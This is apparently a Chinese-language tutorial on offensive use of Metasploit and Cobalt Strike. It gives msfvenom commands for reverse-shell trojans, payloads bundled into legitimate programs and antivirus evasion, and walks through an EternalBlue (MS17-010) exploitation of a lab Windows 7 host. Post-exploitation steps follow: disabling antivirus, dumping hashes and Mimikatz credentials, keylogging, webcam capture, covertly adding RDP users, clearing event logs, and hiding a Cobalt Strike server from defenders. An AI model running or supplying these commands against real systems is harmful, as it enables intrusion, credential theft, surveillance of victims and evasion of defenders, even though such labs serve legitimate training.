Metasploit

57 阅读22分钟

[TOC]

Metasploit

下载与安装

Linux

安装和更新Metasploit框架:

sudo apt-get update && apt-get install metasploit-framework

在Metasploit中使⽤数据库不是强制性的,没有数据库也可以运⾏得很好。但是,使Metasploit如此出⾊的许多功能都需要数据库(docs.metasploit.com/docs/usingm…

msfdb init#初次使⽤
msfdb start#启动数据库和⽹络服务。
msfdb stop#停⽌数据库和⽹络服务。

image-20251013193049014.png

kali可以直接运⾏Metasploit:

sudo msfconsole

image-20251013193516576.png

基本操作

  1. help

    help命令可以列出Metasploit 中的所有命令

    msf > help
    

image-20251013195500206.png

  1. search

    search命令可以搜索Metasploit 中的模块

    msf > search <keyword> #关键字
    

image-20251013195626969.png

(average是评价等级)

  1. use

    use命令可以选择要使⽤的模块

    msf > use <module>
    

    例如,选择⼀个与“ smb”相关的模块:(也可以用序号,如下图)

    msf > use auxiliary/scanner/smb/smb_version
    

image-20251013195846967.png

  1. showoptions

    show opt ions命令可以显示当前模块的选项

    msf > show options
    

image-20251013195938468.png

(Required表示是否是必填项)

  1. set

    set 命令可以设置当前模块的选项

    msf > set <option> <value>
    
  2. exploit

    exploit命令可以执⾏当前模块的攻击

    msf > exploit
    

模块

exploits(渗透攻击/漏洞利用模块)

渗透攻击模块是利⽤发现的安全漏洞或配置弱点对远程⽬标进⾏攻击,以植⼊和运⾏攻击载荷,从⽽获得对远程⽬标系统访问的代码组件。渗透攻击模块是Metasploit 框架中最核心的功能组件

image-20251013200823642.png

payloads(攻击载荷模块)

攻击载荷是我们期望⽬标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,⽤于在⽬标系统上运⾏任意命令或者执⾏特定代码。 攻击载荷模块从最简单的添加⽤户账号、提供命令⾏Shell , 到基于图形化的VNC界⾯控制,以及最复杂、具有⼤量后渗透攻击阶段功能特性的Meterpreter

image-20251013201359823.png

post(后渗透攻击模块)

后渗透攻击模块主要⽤于在渗透攻击取得⽬标系统远程控制权之后,在受控系统中进⾏各式各样的后渗透攻击动作,⽐如获取敏感信息、进⼀步横向拓展、 实施跳板攻击等。

image-20251013201540144.png

auxiliary(辅助模块)

该模块不会直接在测试者和⽬标主机之间建⽴访问,它们只负责执⾏扫描、嗅探、指纹识别等相关功能以辅助渗透测试。

encoders(编译器模块)

编码器模块通过对攻击载荷(payloads)进⾏各种不同形式的编码。完成两⼤任务:
● 确保攻击载荷中不会出现渗透攻击过程中应加以避免的”坏字符” ● 对攻击载荷进⾏“免杀”处理,即逃避反病毒软件、IDS/ IPS的检测与阻断

evasion(规避模块)

规避模块主要⽤于规避Win dows Defender 防⽕墙、Windows应 ⽤程序控制策略( applocker ) 等的检查。

常用命令

命令功能
load / unload加载 / 卸载插件
save保存当前配置
version显示框架版本
exit / quit退出控制台
back退出当前模块
info显示模块详细信息
sessions管理会话(列表、交互等)
history查看命令历史
show exploits列出所有渗透攻击模块
show payloads列出适⽤载荷
show options显示模块配置选项
show targets显示⽀持的⽬标类型
reload_all重新加载所有模块
run vnc启动 VNC 远程桌⾯
screenshot截取⽬标屏幕
msfdb delete删除 MSF 数据库并停⽌服务
threads管理后台线程
db_status显示数据库状态
hashdump停止模块攻击

数据库问题 → 优先检查 msfdb 和 db_status 。
模块操作 → 使⽤ use + show options + set 组合。
⽣成载荷 → 直接调⽤ msfvenom 。

Msfvenom

msfvenom 是 Metasploit Framework 中⼀个核⼼⼯具,专门用于生成各类 Payload(载荷)或恶意代码。它取代了旧版⼯具 msfpayload 和 msfencode ,整合了⽣成 Payload、编码、捆绑等功能,是渗透测试中常⽤的攻击载荷⽣成器。

典型场景是⽤Msfenom制作⼀个⽊⻢,发送给其他主机,只要其他主机运⾏了该⽊⻢,就会⾃动连接到我们的主机,并且建⽴⼀条TCP连接。我们可以通过这条TCP连接控制⽬标主机。

基本语法

msfvenom [选项] -p <payload> [payload参数] -o <输出⽂件>

常⽤选项: -p :指定 Payload(必选)。 -e :指定编码器(如 x86/shikata_ga_nai )。 -i :编码迭代次数(提⾼免杀率)。 -x :指定捆绑的合法程序(模板)。 -k :保留原程序功能(需配合 -x 使⽤)。 -f :指定输出格式(如 exe 、dll 、ps1 )。 -o :输出⽂件名。 -a :指定⽬标架构(如 x86 、x64 )。 --platform :指定⽬标平台(如 windows 、linux )。

常用 Payload 示例

  1. ⽣成 Windows 反向 Shell

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=攻击者IP LPORT=端⼝ -f exe -o revshell.exe
    

image-20251013205038086.png

文件位置为:/home/kali/revshell.exe

image-20251014205816788.png

传到目标肉机上,执行文件,可以看到shell已经反弹到我们的hacker机上。

image-20251014211646121.png

  1. ⽣成 Meterpreter 反向 TCP

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o meterpreter.exe
    

    启动监听器

    ⽣成 Payload 后,需在 Metasploit 中启动监听模块:

    msfconsole
    use exploit/multi/handler
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    set LHOST your_ip
    set LPORT 4444
    set ExitOnSession false  # 如果希望持续监听⽽不是建⽴后退出监听
    exploit -j
    
  2. 捆绑⽊⻢(保留原程序)

    msfvenom -pwindows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=端⼝ -x 原程序.exe -k -fexe -o 捆绑后.exe
    
  3. ⽣成 Android APK ⽊⻢

    msfvenom -pandroid/meterpreter/reverse_tcp LHOST=IP LPORT=端⼝ -opayload.apk
    
  4. ⽣成 PowerShell 载荷

    msfvenom -pwindows/exec CMD="calc.exe" -fpsh -ocalc.ps1
    
  5. 编码与免杀

    msfvenom -pwindows/meterpreter/reverse_tcp LHOST=IP LPORT=端⼝ -ex86/shikata_ga_nai -i 5 -fexe -oencoded.exe
    

Meterpreter

Meterpreter 是Metasploit 框架中的⼀个扩展模块,使⽤它作为攻击载荷,攻击成功以后能够获得⽬标系 统的⼀个Meterpretershell 。

常用命令

background – 将当前会话移动到背景
bgkill – 杀死⼀个背景meterpreter 脚本
bglist – 提供所有正在运⾏的后台脚本的列表
bgrun – 作为⼀个后台线程运⾏脚本
channel – 显示活动频道
close – 关闭通道
exit – 终⽌meterpreter 会话
help – 帮助菜单
interact – 与通道进⾏交互
irb – 进⼊Ruby 脚本模式
migrate – 移动到⼀个指定的PID 的活动进程
quit – 终⽌meterpreter 会话
read – 从通道读取数据
run – 执⾏以后它选定的meterpreter 脚本
use – 加载meterpreter 的扩展
write – 将数据写⼊到⼀个通道

文件系统命令

cat -读取并输出到标准输出⽂件的内容
cd -更改⽬录对受害⼈
del -删除⽂件对受害⼈
download-从受害者系统⽂件下载
edit-⽤vim编辑⽂件
getlwd -打印本地⽬录
getwd -打印⼯作⽬录
lcd -更改本地⽬录
lpwd -打印本地⽬录
ls -列出在当前⽬录中的⽂件列表
mkdir -在受害者系统上的创建⽬录
pwd -输出⼯作⽬录
rm -删除⽂件
rmdir -受害者系统上删除⽬录
upload-从攻击者的系统往受害者系统上传⽂件

网络命令

ipconfig -显示⽹络接⼝的关键信息,包括IP 地址、 等。
portfwd -端⼝转发
route -查看或修改受害者路由表

系统命令

clearav -清除了受害者的计算机上的事件⽇志
drop_token -被盗的令牌
execute-执⾏命令
getpid -获取当前进程ID (PID)
getprivs -尽可能获取尽可能多的特权
getuid -获取作为运⾏服务器的⽤户
kill -终⽌指定PID 的进程
ps -列出正在运⾏的进程
reboot-重新启动受害⼈的计算机
reg -与受害⼈的注册表进⾏交互
rev2self -在受害者机器上调⽤RevertToSelf()
shell -在受害者计算机上打开⼀个shell
shutdown-关闭了受害者的计算机
steal_token -试图窃取指定的(PID) 进程的令牌
sysinfo -获取有关受害者计算机操作系统和名称等的详细信息

用户界面命令

enumdesktops -列出所有可访问台式机
getdesktop -获取当前的meterpreter 桌⾯
idletime -检查⻓时间以来,受害者系统空闲进程
keyscan_dump -键盘记录软件的内容转储
keyscan_start -启动时与如Word 或浏览器的进程相关联的键盘记录软件
keyscan_stop -停⽌键盘记录软件
screenshot-抓去meterpreter 桌⾯的屏幕截图
set_desktop -更改meterpreter 桌⾯
uictl -启⽤⽤户界⾯组件的⼀些控件

特权升级命令

getsystem -获得系统管理员权限

密码转储命令

hashdump -抓去哈希密码(SAM) ⽂件中的值

其他命令

meterpreter > background 放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > Sysinfo 系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令⾏shell (exit退出)
meterpreter > getlwd 查看本地⽬录
meterpreter > lcd 切换本地⽬录
meterpreter > getwd 查看⽬录
meterpreter > ls 查看⽂件⽬录列表
meterpreter > cd 切换⽬录
meterpreter > rm 删除⽂件
meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载⽂件
meterpreter > upload /var/www/wce.exe wce.exe 上传⽂件
meterpreter > search -dc: -f *.doc 搜索⽂件
meterpreter > execute -f cmd.exe -i 执⾏程序/命令
meterpreter > ps 查看进程
meterpreter > run post/windows/capture/keylog_recorder 键盘记录
meterpreter > getuid 查看当前⽤户权限
meterpreter > use priv 加载特权模块
meterpreter > getsystem 提升到SYSTEM权限
meterpreter > hashdump 导出密码散列
meterpreter > ps 查看⾼权限⽤户PID
meterpreter > steal_token <PID> 窃取令牌
meterpreter > rev2self 恢复原来的令牌
meterpreter > migrate pid 迁移进程
meterpreter > run killav 关闭杀毒软件
meterpreter > run getgui-e 启⽤远程桌⾯
meterpreter > portfwd add -l 1234 -p 3389 -r <⽬标IP> 端⼝转发
meterpreter > run get_local_subnets 获取内⽹⽹段信息
meterpreter > run autoroute -s <内⽹⽹段> 创建⾃动路由
meterpreter > run autoroute -p 查看⾃动路由表
创建代理通道:
msf > use auxiliary/server/socks4a 设置socks4代理模块
msf auxiliary(socks4a) > show options
msf auxiliary(socks4a) > run
配置proxychains参数:
nano /etc/proxychains.conf 修改代理监听端⼝,和前⾯端⼝⼀致
quite_mode 设置成安静模式:去掉如下参数前⾯的注释

黑客攻击内网初体验

模拟使⽤ MS17_010 漏洞攻击win7,MS17_010漏洞就是危害全球的勒索病毒利⽤的永恒之蓝漏洞。

MS17_010漏洞简介

永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞⽣,该病毒是不法分⼦利⽤NSA(National Security Agency,美国国家安全局)泄露的漏洞 “EternalBlue”(永恒之蓝)进⾏改造⽽成。该漏洞可以通过TCP的139和445端⼝,攻击Windows系统的SMB服务,造成远程代码执⾏。MS17-010漏洞主要是针对于Windows操作系统。

baike.baidu.com/item/WannaC…

image-20251016125329961.png

漏洞攻击

查看相关模块

  1. 在kali命令⾏⾥⾯输⼊命令msfconsole,进⼊msf框架中:

image-20251016125746665.png

  1. 搜索MS17_010漏洞

image-20251016125914394.png

这⾥找到了四个模块,前三个是漏洞利⽤模块,后两个是辅助模块,主要探测主机是否存在MS17_010漏洞。

漏洞探测

利⽤ Auxiliary辅助探测模块 对漏洞进⾏探测。该模块不会直接在攻击机和靶机之间建⽴访问,它们只负责执⾏扫描,嗅探,指纹识别等相关功能以辅助渗透测试。

  1. 使⽤smb_ms17_010漏洞探测模块对smb_ms17_010漏洞进⾏探测

    use auxiliary/scanner/smb/smb_ms17_010
    

image-20251016133832299.png

  1. 查看这个模块需要配置的信息

    show options #查看这个模块需要配置的信息
    

image-20251016133922312.png

  1. 设置要探测的远程⽬标: 注:RHOSTS 参数是要探测主机的ip或ip范围,我们探测⼀个ip范围内的主机是否存在漏洞

    set rhosts 192.168.153.1-192.168.153.255
    
  2. 对上⾯设置的ip范围内的主机进⾏攻击: 注:有+号的就是可能存在漏洞的主机,这⾥有1个主机存在漏洞(需要关闭win7的防火墙)

image-20251016135102787.png

漏洞利用

  1. 选择漏洞攻击模块,对漏洞进⾏利⽤

    use exploit/windows/smb/ms17_010_eternalblue
    

image-20251016135223408.png

  1. 查看这个漏洞的信息

    info
    

image-20251016135304158.png

  1. 查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语⾔版本的系统:

    show targets
    

image-20251016135409207.png

攻击载荷设置

攻击载荷是我们期望在⽬标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透⽬标后,⽤于在⽬标系统上运⾏任意命令。

  1. 查看攻击载荷

    show playload #该命令可以查看当前漏洞利⽤模块下可⽤的所有Payload
    

image-20251016135829377.png

  1. 设置攻击载荷

    set payload windows/x64/meterpreter/reverse_tcp
    
  2. 查看模块需要配置的参数

    show options
    

image-20251016140216231.png 4. 设置攻击载荷参数

set RHOST 192.168.184.134 #设置RHOST,也就是要攻击主机的ip
set LHOST 192.168.184.130 #设置LHOST,也就是我们主机的ip,⽤于接收从⽬标机弹回来
的shell
set lport 4444 #设置lport,也就是我们主机的端⼝,反弹shell到这个端⼝;如果我们这⾥不设置lport的话,默认是4444端⼝监听;

5. 进⾏攻击

image-20251016140431910.png

image-20251016140445610.png

如果你设置了 反向连接(reverse)Payload(如 windows/x64/meterpreter/reverse_tcp ),MSF必须启动⼀个监听器(Handler)来等待⽬标连接。以前都是⼿动创建,在 Metasploit Framework (MSF6) 中为了简化操作,默认会⾃动启动 multi/handler 来匹配当前 exploit 的 Payload 设置,避免⽤户⼿动配置。

后渗透阶段

如果攻击成功,我们将会看到命令提示符 meterpreter > 出现

image-20251016140445610.png

进入和退出meterpreter

我们输⼊:shell 即可切换到⽬标主机的 windows cmd_shell ⾥⾯

shell #获取⽬标主机的cmd_shell权限
chcp 65001 #这⾥为了避免⽬标主机cmd_shell字符乱码,设置⽬标主机命令⾏的字符编码,65001是UTF-8

image-20251016140947812.png

要想从⽬标主机shell退出到 meterpreter ,我们只需输⼊:exit

image-20251016141024861.png

从 meterpreter 退出到 MSF框架 :

background #把我们获得的meterpreter会话挂载到后台运⾏

image-20251016141123991.png

查看前⾯获得的 meterpreter_shell 会话,最前⾯的数字是会话的id:

sessions -l #查看获得的meterpreter_shell会话列表

image-20251016141218361.png

输⼊sessions [id号]即可进⼊相应的 meterpreter_shell 中:

sessions -i 1

image-20251016141304019.png

查看信息

输⼊:sysinfo 查看⽬标主机的信息

image-20251016210719666.png

虚拟机判断

查看主机是否运⾏在虚拟机上,可以看出主机是在虚拟机环境

run post/windows/gather/checkvm

image-20251016210824133.png

关闭杀毒软件

拿到⽬标主机的shell后第⼀件事就是关闭掉⽬标主机的杀毒软件,通过命令

run post/windows/manage/killav

获取主机信息

run scraper

在获取⽬标机器的 Meterpreter 会话后,运⾏scraper模块可⾃动收集常⻅信息并保存在本地: 系统信息(OS 版本、补丁、环境变量) ⽹络配置(IP、路由、ARP 表、共享列表) ⽤户数据(登录凭据、SAM 哈希、最近访问⽂件) 注册表键值(⾃动提取敏感配置,如远程桌⾯设置) 浏览器数据(历史记录、保存的密码,需权限允许)

image-20251016214443017.png

⽂件保存在/root/.msf4/logs/scripts/winenum⽬录下(在msf控制台下操作)

访问文件系统

Meterpreter⽀持⾮常多的⽂件系统命令(基本跟Linux系统命令类似),⼀些常⽤命令如下

pwd #查看当前⽬录
cd #切换⽬标⽬录,分隔符是\\
cat #读取⽂件内容;
rm #删除⽂件;
edit #使⽤vim编辑⽂件
ls #获取当前⽬录下的⽂件;
mkdir #新建⽬录;
rmdir #删除⽬录;

上传/下载文件

download file #命令可以帮助我们从⽬标系统中下载⽂件

image-20251016214933713.png

upload file #命令则能够向⽬标系统上传⽂件

(记得+//)

权限提升

有的时候,你可能会发现⾃⼰的Meterpreter 会话受到了⽤户权限的限制,⽽这将会严重影响你在⽬标系统中的活动。⽐如说,修改注册表、安装后⻔或导出密码等活动都需要提升⽤户权限,⽽Meterpreter给我们提供了⼀个 getsystem 命令,它可以使⽤多种技术在⽬标系统中实现提权。

getuid
#命令可以获取当前⽤户的信息
getsystem
#⾃动提权为系统权限

image-20251016215144070.png

注:执⾏getsystem命令后,会显示错误,但是其实已经运⾏成功了!

获取密码

run windows/gather/smart_hashdump  #命令的使⽤需要系统权限。如果当前⽤户是域管理员⽤户,则可以导出域内所有⽤户的hash。

image-20251016215401677.png ⽤户哈希数据的输出格式为:

⽤户名:SID:LM哈希:NTLM哈希:::

kiwi

Kiwi 是 Metasploit 框架的⼀个扩展模块,集成了 Mimikatz(Windows 凭据提取神器)的核⼼功能,允许在Meterpreter 会话中直接调⽤ Mimikatz 命令,⽤于提取 Windows 系统中的明⽂密码、哈希、票据等敏感信息。

meterpreter > load kiwi
meterpreter > kiwi_cmd "sekurlsa::logonpasswords"

image-20251016215801694.png

注:命令成功执行,需要管理员用账号密码登录肉机。

运行程序

先查看⽬标主机安装了哪些应⽤:

run post/windows/gather/enum_applications #查看⽬标主机安装了哪些应⽤

image-20251016215952143.png

在meterpreter_shell命令⾏执⾏⽬标系统中的应⽤程序

#execute命令⽤法:
execute [参数] -f 指定的可执⾏⽂件
-f:指定可执⾏⽂件
-H:创建⼀个隐藏进程
-a:传递给命令的参数
-i:跟进程进⾏交互
-m:从内存中执⾏
-t:使⽤当前伪造的线程令牌运⾏进程
-s:在给定会话中执⾏进程

image-20251016220106104.png

屏幕截图

截图⽬标主机屏幕,可以看到,图⽚被保存到了 /root/桌⾯/ ⽬录下

screenshot #截图⽬标主机屏幕

创建用户并登录

先查看⽬标主机有哪些⽤户

run post/windows/gather/enum_logged_on_users #查看⽬标主机有⽤户

image-20251016220616530.png

使⽤enable_rdp脚本创建⽤户并开启远程桌⾯

run post/windows/manage/enable_rdp USERNAME=test2 PASSWORD=Abc123456 #添加⽤户

image-20251016220714114.png

注:新密码要符合目标系统的创建用户密码规则,否则会创建失败。

run post/windows/manage/enable_rdp #开启远程桌⾯
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端⼝转发到6662

在登录之前,我们还需要使⽤ idletime命令 检查远程⽤户的空闲时⻓,通过检测空闲时间(如 idletime > 30分钟 ),可确保⽬标⽤户暂时离开,降低操作被发现的概率

idletime #检查远程⽤户的空闲时⻓

image-20251016221113027.png

注意使⽤mstsc登录时⽤户名前不能有前缀

image-20251016221349233.png

进程迁移

Meterpreter 既可以单独运⾏,也可以注⼊其他进程。我们可以把Meterpreter注⼊explorer.exe这样的进程,来伪装⾃身。

⾸先,我们需要使⽤ ps 命令查看⽬标设备中运⾏的进程:

image-20251016221540177.png

查看我们当前的进程id:查看我们当前的进程id:

getpid

image-20251016221622076.png

使⽤:migrate +⽬标进程ID 命令来绑定⽬标进程id

run post/windows/manage/migrate #自动迁移

键盘记录

键盘记录需要注⼊到 ⽤户交互式进程(如 explorer.exe 、 winlogon.exe 或⽤户启动的⽤),然后才能获取该进程下的键盘记录。

键盘记录主要涉及以下三种命令:

keyscan_start #开启键盘记录功能,开关键盘记录功能后⽬标输⼊的内容我们就通过keyscan_dump命令在Meterpreter⾥⾯进⾏查看;
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停⽌键盘记录功能

摄像头拍照

webcam_list #获取⽬标系统的摄像头列表
webcam_snap #从指定的摄像头,拍摄照⽚
webcam_stream #从指定的摄像头,开启视频

流量转发

autoroute 是⼀个强⼤的后渗透模块,⽤于在获取 Meterpreter 会话后⾃动添加路由规则,使其他Metasploit 模块或⼯具(如 exploit、auxiliary/scanner )能够直接访问⽬标内⽹的其他主机, autoroute 的流量⾛ Meterpreter 会话(通常伪装为正常进程,如 svchost.exe )。

查看⾁鸡内⽹ip

ipconfig

image-20251016223441643.png

添加路由

run autoroute -s 192.168.52.0/24

image-20251016223527370.png

验证路由;

msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.52.138
msf6 auxiliary(scanner/portscan/tcp) > run

image-20251016225326648.png

结合 socks_proxy 供外部⼯具使⽤

msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
msf6 auxiliary(server/socks_proxy) > run

在proxychains的配置⽂件 /etc/proxychains4.conf 中添加:

socks5 127.0.0.1 9050

端口扫描

proxychains nmap -sT -Pn 192.168.52.138 -p 135

image-20251016225238142.png

清除事件日志

完成攻击操作之后,千万别忘了"打扫战场"。我们的所有操作都会被记录在⽬标系统的⽇志⽂件之中,因此我们需要在完成攻击之后使⽤以下命令来清除事件⽇志

clearev

image-20251016225405144.png

日志被清空:

image-20251016225554014.png

PowerShell脚本

通过powershell模块,可以调⽤外部的powershell脚本。注意如果powershell脚本是⽤于域内信息收集的,当前权限需要是域⽤户

load powershell        #加载powershell功能
powershell_import /root/PowerView.ps1   #导⼊powershell脚本,提前将该powershell脚本放到指定⽬录
powershell_execute Get-NetDomain       #执⾏该脚本下的功能模块Get-domain,该模块⽤于获取域信息,⼀个脚本下通常有多个功能模块;获取当前⽤户所在域的名称;
powershell_execute Invoke-UserHunter        #该功能模块⽤于定位域管理员登录的主机;
powershell_execute Get-NetForest       #该模块⽤于定位域信息
powershell_execute Invoke-EnumerateLocalAdmin   #枚举域中所有计算机上本地管理员组的成员

升级Session

当我们收到的不是 meterpreter 类型的 session 的话,就⽆法使⽤meterpreter强⼤的功能。此时我们可以执⾏命令 sessions -u id 来升级session。该命令默认调⽤的是 post/multi/manage/shell_to_meterpreter 模块。


CobaltStrike

Cobalt Strike采用C/S架构的商业渗透软件,适合多人进行团队协作,可模拟APT做模拟对抗,进行内网渗透。

下载与安装

百度网盘有安装包,4.9.1最新版,解压密码20250722。

CobaltStrike4.9.1_Client是客户端,CobaltStrike4.9.1_Server是服务器端

image-20251017154107844.png

cobaltstrike默认监听端口是50050,使用的ssl证书也是固定的,在红蓝攻防中,很容易被蓝队防守方发现,如何修改这些配置呢?teamserver是cobaltstrike的服务器端,其实是一个shell文件,我们修改其中的配置信息,来隐藏自身

image-20251017154212062.png

修改ssl证书:

修改默认keypass: keypass是生成ssl证书时的密钥 修改storepass: 存储时加密的密钥,和keypass保持一致即可 修改dname:

image-20251017154321032.png

修改默认端口:

image-20251017154404345.png

安装:

将修改后的全部文件上传到kali上并给足权限

image-20251017155848561.png

启动服务端,Aa@123456是密码可以根据需要进行修改

nohup ./teamserver 192.168.153.136 Aa@123456 > teamserver.log 2>&1 &

image-20251017160019787.png

image-20251017160133527.png

本地电脑进入CobaltStrike4.9.1_Client目录,双击cobaltstrike.bat启动客户端连接即可。

image-20251017160358424.png

其中用户名随便填写,host、port和密码需要和服务端对应。

image-20251017160835647.png

基础操作

设置监听器

image-20251017161127511.png

image-20251017161627929.png

生成木马后门

image-20251017161732068.png

选择监听器

image-20251017161817742.png

选择保存位置

image-20251017161929165.png

运行后即可上线cs

image-20251017162149774.png

右键进入命令交互界面

image-20251017162316931.png

sleep 可以调成3,方便实验,正常情况时间越久越不容易被发现

image-20251017162502322.png

image-20251017162522189.png

执行系统命令要在命令前加个shell。(在肉机上执行命令要加shell)

image-20251017162658261.png

指令大全

browserpivot 注入受害者浏览器进程
sleep 3 全部命令3秒执行
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd.exe  打开cmd终端
shell ipconfig 执行ipconfig命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗

文件下载示例:

image-20251017163500708.png 屏幕截图示例:

image-20251017163738572.png

image-20251017163726771.png

提权和令牌窃取示例:

image-20251017164336823.png

image-20251017164347552.png

加载插件

image-20251017164414662.png

插件根据自己需要下载和选择即可:

image-20251017164907219.png

image-20251017164938149.png

image-20251017165039230.png

联动

CS->MSF(CS把权限转交给MSF)

CS:

CS监听的协议是windows/foreign/reverse_http(监听的协议要与MSF一致,这里监听HTTP协议,那么MSF也要监听HTTP协议),ip和端口必须是msf监听器对应的。

image-20251017165448883.png

MSF: 选择的payload要和cs保持一致

background
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.153.136
set lport 8089
run

image-20251017165739376.png

cs和msf都设置后之后,可以通过spawn msf 命令派生,也可以通过右键选择凭证提权->新建会话,然 后选择对应监听器派生(命令一样)

image-20251017165817523.png

现在MSF也可以去操控目标主机了

image-20251017165920199.png

MSF->CS(MSF把权限转交给CS)

CS:

image-20251017172415156.png

MSF:

background
use exploit/windows/local/payload_inject  
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true             
set session 1
set lhost 192.168.184.130
set lport 8088
run

成功之后CS上就会得到一个新的主机